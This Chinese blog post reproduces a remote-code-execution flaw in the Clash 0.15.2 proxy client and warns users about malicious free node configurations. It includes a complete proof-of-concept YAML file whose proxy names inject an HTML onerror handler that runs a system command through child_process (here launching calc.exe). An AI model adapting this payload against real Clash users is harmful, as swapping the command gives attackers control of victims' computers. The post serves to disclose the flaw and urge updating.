杂谈
Clash相信你们都不陌生,就是我们平常使用VPN时最常用的软件
就在前几个小时爆出了RCE漏洞,我们立马给大家复现一下!
复现视频
clash存在漏洞版本
目前发现的漏洞版本是0.15.2,您可以下载下面的软件进行复现
POC
新建yaml
文件
port: 7890
socks-port: 7891
allow-lan: true
mode: Rule
log-level: info
external-controller: :9090
proxies:
- name: a<img/src="1"/onerror=eval(`require("child_process").exec("calc.exe");`);>
type: socks5
server: 127.0.0.1
port: "17938"
skip-cert-verify: true
- name: abc
type: socks5
server: 127.0.0.1
port: "8088"
skip-cert-verify: true
proxy-groups:
-
name: <img/src="1"/onerror=eval(`require("child_process").exec("calc.exe");`);>
type: select
proxies:
- a<img/src="1"/onerror=eval(`require("child_process").exec("calc.exe");`);>
图文教程
新建完yaml文件后,你需要手动导入,点击import
![图片[1]-Clash rce漏洞复现视频-FancyPig's blog](https://static.iculture.cc/wp-content/uploads/2022/02/20220225100526669.png?x-oss-process=image/auto-orient,1/format,webp/watermark,image_cHVibGljL2xvZ28ucG5nP3gtb3NzLXByb2Nlc3M9aW1hZ2UvcmVzaXplLFBfMTA,x_10,y_10)
然后切换到这里
![图片[2]-Clash rce漏洞复现视频-FancyPig's blog](https://static.iculture.cc/wp-content/uploads/2022/02/20220225100613155.png?x-oss-process=image/auto-orient,1/format,webp/watermark,image_cHVibGljL2xvZ28ucG5nP3gtb3NzLXByb2Nlc3M9aW1hZ2UvcmVzaXplLFBfMTA,x_10,y_10)
切换节点时会弹出计算器,说明远程代码执行成功了
![图片[3]-Clash rce漏洞复现视频-FancyPig's blog](https://static.iculture.cc/wp-content/uploads/2022/02/20220225100649694-1024x581.png?x-oss-process=image/auto-orient,1/format,webp/watermark,image_cHVibGljL2xvZ28ucG5nP3gtb3NzLXByb2Nlc3M9aW1hZ2UvcmVzaXplLFBfMTA,x_10,y_10)
漏洞的利用
如果你是从一些垃圾网站上复制的免费节点,小心不要被人恶意植入了远程执行代码,很有可能导致电脑被远程控制,因此,您可以选择更新到最新版本,此问题就不存在了!
© 版权声明
THE END
- 最新
- 最热
只看作者